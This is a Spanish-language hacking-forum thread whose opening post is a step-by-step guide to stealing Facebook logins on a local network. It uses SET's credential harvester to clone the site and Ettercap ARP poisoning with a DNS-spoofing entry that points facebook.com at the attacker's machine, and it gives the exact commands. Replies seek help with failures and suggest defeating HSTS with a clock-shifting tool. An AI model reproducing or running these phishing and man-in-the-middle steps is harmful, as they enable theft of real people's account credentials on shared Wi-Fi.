Hackeando Facebook con Set & Ettercap

Iniciado por NuMB3RW4N, Septiembre 20, 2016, 03:15:22 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Imprimir
Ir Abajo Páginas1
Acciones del Usuario
Septiembre 20, 2016, 03:15:22 AM Ultima modificación: Septiembre 20, 2016, 09:36:34 AM por rollth
SET


¿Que es SET?
SET es una completísima suite dedicada a la ingeniería social , que nos permite automatizar tareas que van desde el de envío de SMS (mensajes de texto) falsos, con los que podemos suplantar el numero telefónico que envía el mensaje, a clonar cualquier pagina web y poner en marcha un servidor para hacer phishing en cuestión de segundos. SET integra muchas de las funciones de Metasploit, es más, muchas de las funciones de SET las saca de Metasploit, por tanto no se concibe SET sin previamente tener instalado Metasploit. Quizás lo que mas nos ha llamado la atención de SET es su eficacia y agilidad a la hora de implementar su gran variedad de ataques... SET esta disponible en el BackTrack Linux y Kali Linux o puedes instalarlo desde su repositorio en git.


"git clone No tienes permitido ver enlaces. Registrate o Entra a tu cuenta"



Ettercap


Ettercap es un interceptor/sniffer/registrador para LANs con switch. Soporta direcciones activas y pasivas de varios protocolos (incluso aquellos cifrados, como SSH y HTTPS). También hace posible la inyección de datos en una conexión establecida y filtrado al vuelo aun manteniendo la conexión sincronizada gracias a su poder para establecer un Ataque Man-inthe-middle(Spoofing).
Muchos modos de sniffing fueron implementados para darnos un conjunto de herramientas poderoso y completo de sniffing. La instalacion dependen de tu SO




Requisitos:
Unos cigarros
Una Coca Cola
Estar conectado a la red de la vicitma (Wardriving)


Terminal
Una vez que estamos ya conectados a la red de nuestro target o víctima ejecutamos set (comando para OSX) , posicionados en la carpeta de instalación de SET




Comando :
Código: text
Makuaz@mbp-de-juan /opt/set ][ 05:41:14 ] > sudo ./setoolkit

Y obtendremos una pantalla como esta :
Escogemos la opción 1




Ahora escogemos la opción 2 :
Y se nos lanza esta pantalla :




Ahora se muestra en pantalla la siguiente información con opciones :
Ahora escogemos la opción 3 :




Ahora escogemos la opción 2 :




Como dije anteriormente Seteamos la información solicitada:
Código: text
set:webattack> IP address for the POST back in Harvester/Tabnabbing:

Recomiendo tu ip local
Enter the url to clone: Aqui la URL : No tienes permitido ver enlaces. Registrate o Entra a tu cuenta:
Finalmente obtendras una pantalla similar a esta :




Ahora revisas tu localhost y deberías de ver algo así:
Sin el error claro




Ahora vamos con Ettercap
Suponiendo que ya lo tienes instalado vamos a configurarlo :
La ruta de instalación depende de tu SO , en mi mac es la siguiente: /usr/local/etc/ettercap




Ahora modificaremos el archivo etter.dns con NANO y agregamos estas lineas :
www.facebook.com A 192.168.1.124 — Esta ip es de mi mac donde esta corriendo SET




Salvamos el archivo y ahora corremos el siguiente comando:
Código: text
sudo ettercap -Tq -i en1 -P dns_spoof -M arp // //

Donde en1 es mi tarjeta de red , la tuya puede ser wlan0 , eth0 ... etc




Ahora veremos una pantalla similar a esta




Ahora encenderé una maquina virtual con windows XP SP3 , la cual imaginemos que es una pc mas en la red (debe estar en modo Bridge).
Vemos como en la consola de ettercap aparace la maquina virtual




La cual Verificamos en la misma maquina con windows mediante el comando mundialmente famoso "ipconfig"




Ya en la maquina virtual abrimos Chrome ,Firefox ,o el navegador que tu uses y escribimos No tienes permitido ver enlaces. Registrate o Entra a tu cuenta .




Ahora vemos como ettercap toma la petición y hace referencia a mi prestada MackbookPro




Ahora revisamos el SET y vemos resultados!





Espero que te sirva y le des uso , recuerda comparte los contenidos para que mas
gente aprenda y pueda protegerse.

Septiembre 20, 2016, 10:26:18 PM #1
 ;)

Muy bueno el material, muy bien explicado, resaltar que solo funciona dentro de la misma red LAN que la victima, pero dada la cantidad de usuarios que navegan en las redes wifi abiertas seria Puffff.

Saludos y gracias por compartir.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.

Septiembre 21, 2016, 01:32:23 AM #2 Ultima modificación: Septiembre 21, 2016, 01:37:15 AM por lukhasPy
Señores, yo necesito una gran ayuda de ustedes, y agradezco mucho si pueden responderme...
El problema es el siguiente: Yo sigo todos los pasos del contenido, pero cuando intento conectar mi teléfono móvil a la página de Facebook sale un error diciendo que la página no fue encontrada... A qué se debe eso? No funciona para teléfonos? OBS: Intenté con Firefox y Google Chrome en mi Sony Mobile... Estoy conectado en la misma red!
Y otra pregunta... Cuando hago el ataque de SSLSTRIP+ARPSPOOF, intento con Firefox en mi teléfono y la mayoría de las páginas se convierten en HTTP, pero por ejemplo Facebook y Gmail siempre se convierten en HTTPS y no consigo sniffear la información allí introducida...

Muchas gracias a todos, espero respuestas! :D
Septiembre 24, 2016, 12:32:40 AM #3
Hola, lo he probado en 2 maquinas distintas con Windows 7 actualizado y directamente no abre la pagina www,facebook.com, ni con chrome y IE.
Septiembre 25, 2016, 11:00:09 AM #4
Por lo que pude entender de todo lo que he leido el problema radica en la cabecera HSTS. Los navegadores guardan dicha cabecera para peticiones posteriores y asi tener una conexion segura mediante HTTPS. Segun el blog de Chema alonso, hay una herramienta llamada delorean que lo que hace es cambiar el reloj interno a 3 años después, borrando dicha cabecera y teniendo que pedirla de nuevo al servidor, pudiendo asi meternos en medio del trafico y cambiar la dirección.
Septiembre 25, 2016, 01:56:15 PM #5
Excelente post, muchas gracias .
Saludos
Septiembre 27, 2016, 12:53:58 AM #6
Muy interesante hace mucho no me dedico al tema del hacking, me motivaste de nuevo.
Septiembre 30, 2016, 01:40:06 AM #7
al ingresar el comando sudo ettercap -Tq -i en1 -P dns_spoof -M arp /ip victima/ /ip victima / me sale esto :
TARGET (dns_spoof) contain invalid chars !  porque me sale eso , alguien que me oriente porfavor se los agradecería mucho.
La información es poder úsala sabiamente
Imprimir
Ir Arriba Páginas1
Acciones del Usuario